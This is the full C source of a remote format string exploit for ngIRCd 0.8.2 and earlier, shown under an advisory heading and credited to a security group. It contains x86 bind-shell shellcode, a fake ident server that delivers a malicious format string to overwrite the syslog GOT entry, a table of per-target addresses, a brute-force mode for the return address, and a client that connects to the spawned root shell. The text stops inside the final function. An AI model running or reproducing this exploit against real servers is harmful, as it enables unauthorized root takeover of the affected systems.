Related Advisory - KOTIK/ADV-2005-0095

/* ngircd_fsexp.c
*
* ngIRCd <= 0.8.2 remote format string exploit
*
* Note:
* To obtain a successful exploitation, we need that
* ngIRCd has been compiled with IDENT, logging to
* SYSLOG and DEBUG enabled.
*
* Original Reference:
* http://www.nosystem.com.ar/advisories/advisory-11.txt
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* Use: ./ngircd_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -p <arg> ircd port (by default 6667)
* -t <arg> type of target system
* -g <arg> syslog GOT address
* -o <arg> offset (RET addr by default 0x0806b000)
* -b brutefoce the RET address
* (from 0x0806b000 + offset)
* -l targets list
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : victim
* [*] system : Slackware Linux 10.0
* [*] ircd version : ngircd-0.8.2.tar.gz
* [*] syslog GOT address : 0x08068094
* [*] verifying host : 10.0.0.2
*
* [*] trying RET address : 0x0806d710 (offset 10000)
* [*] building evil buffer : done!
* [*] running fake ident server : 0.0.0.0:113
*
* [*] connecting to ircd... : 10.0.0.2:6667 connected
* [*] waiting for answer... : 10.0.0.1:43260 connected
* [*] sending evil ident... : done!
* [*] checking for shell... : done!
*
* [!] you have a shell :)
*
* Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define IDENTD 113
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
#define IRCD 6667

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(char *host, int gotaddr, int retaddr, int ircdport);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;

struct {
int num;
char *os;
char *ircd;
int got;
}targets[] = {
1, "Slackware Linux 10.0", "ngircd-0.8.1.tar.gz", 0x080680d4,
2, "Slackware Linux 10.0", "ngircd-0.8.2.tar.gz", 0x08068094,
3, "Slackware Linux 9.0", "ngircd-0.8.1.tar.gz", 0x080662b4,
4, "Slackware Linux 9.0", "ngircd-0.8.2.tar.gz", 0x08066294
};

static int b=0;

int main(int argc, char *argv[])
{
char opt, *host=NULL, *system=NULL, *ircd=NULL;
int i, ircdport=IRCD;
int retaddr=0x0806b000, gotaddr=0, targetnum=0, offset=0;
struct hostent *he;

printf("\n ngIRCd <= 0.8.2 remote format string exploit\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");

while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
system = "unknown";
ircd = "unknown";
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) {
system = targets[targetnum].os;
ircd = targets[targetnum].ircd;
gotaddr = targets[targetnum].got;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
offset = atoi(optarg);
retaddr += offset;
break;
case 'b':
b = 1;
break;
case 'p':
ircdport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}

if(host == NULL) use(argv[0]);
if(gotaddr == 0) use(argv[0]);
if(system == NULL) {
system = "unknown";
ircd = "unknown";
}

printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] ircd version\t\t: %s\n", ircd);
printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
printf(" [*] verifying host\t\t:");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

printf(" %s\n\n", inet_ntoa(*((struct in_addr *)he->h_addr)));

/* bruteforce mode */
if(b) {
for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
printf(" [*] bruteforcing RET address\t: %010p", i);
fflush(stdout);
exploit(host, gotaddr, i, ircdport);
}

printf("\n [*] failed!\n\n");
}

/* single mode */
else {
printf(" [*] trying RET address\t\t: %010p", retaddr);
fflush(stdout);
if(offset) printf(" (offset %d)\n", offset);
else printf("\n");
exploit(host, gotaddr, retaddr, ircdport);
}
}

void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int sock, newsock, sockfd, i, reuseaddr=1;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct sockaddr_in dest_dir;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

/* building evil buffer */
if(!b) {
printf(" [*] building evil buffer\t:");
fflush(stdout);
}

sprintf(ident, "0 , 0 : USERID : OTHER :");

/* adding GOT address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(ident, temp, 4);
gotaddr++;
}

bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 70 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);

/* adding NOP's */
memset(temp, '\x90', 70);
strcat(ident, temp);
bzero(temp, sizeof(temp));

/* adding shellcode */
strcat(ident, shellcode);

/* adding format string */
sprintf(temp, "%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n", cn1,
cn2, cn3, cn4);

strcat(ident, temp);

strcat(ident, "\n");

/* running fake identd */
if(!b) {
printf(" done!\n");
printf(" [*] running fake ident server\t:");
fflush(stdout);
}

localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(IDENTD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("\n");
exit(1);
}

if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("\n");
exit(1);
}

if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0)
{
perror(" bind()");
printf("\n");
exit(1);
}

if (listen(sock, 1) < 0) {
perror(" listen()");
printf("\n");
exit(1);
}

/* connecting to ircd */
if(!b) {
printf(" %s:%u\n\n", inet_ntoa(localaddr.sin_addr),
ntohs(localaddr.sin_port));
printf(" [*] connecting to ircd...\t:");
fflush(stdout);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(ircdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf(" closed\n\n");
exit(1);
}

/* waiting for answer */
if(!b) {
printf(" %s:%u connected\n", inet_ntoa(dest_dir.sin_addr),
ntohs(dest_dir.sin_port));
printf(" [*] waiting for answer...\t:");
fflush(stdout);
}

if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen))
< 0) {
perror(" accept()");
printf("\n");
exit(1);
}

if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) <
0) {
perror(" getpeername()");
printf("\n");
exit(1);
}

if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("\n");
exit(1);
}

if(!b) {
printf(" %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr),
ntohs(remoteaddr.sin_port));
fflush(stdout);

/* sending evil ident */
printf(" [*] sending evil ident...\t:");
fflush(stdout);
}

if (write(newsock, ident, strlen(ident)) <= 0) {
perror(" write()");
printf("\n");
exit(1);
}

close(sock);
close(newsock);
close(sockfd);

if(!b) {
printf(" done!\n");
fflush(stdout);

/* checking for shell */
printf(" [*] checking for shell...\t:");
fflush(stdout);
}

shell(host, SHELL);
}

void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;\n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

if(b) {
printf("\r\r");
return;
}

else {
printf(" done!\n\n");
printf(" [!] failed!\n\n");
exit(1);
}
}

if(!b) {
printf(" done!");
fflush(stdout);
}

printf("\n\n [!] you have a shell :)\n\n");
fflush(stdout);

send(sockfd, command, strlen(command), 0);

while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 5)
addr = addr + 256;

return addr;
}

void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -p <arg> ircd port (by default 6667)\n");
printf(" -t <arg> type of target system\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -o <arg> offset (RET addr by default
0x0806b000)\n");
printf(" -b brutefoce the RET address\n");
printf(" (from 0x0806b000 + offset)\n");
printf(" -l targets list\n\n");
exit(1);
}

void printlist(void) {
int i=0;

printf(" targets\n");
printf(" -------\n\n");

while(targets[i].num) {
printf(" [%d] %s [%s]\n", targets[i].num, targets[i].os,
targets[i].ircd);
i++;
}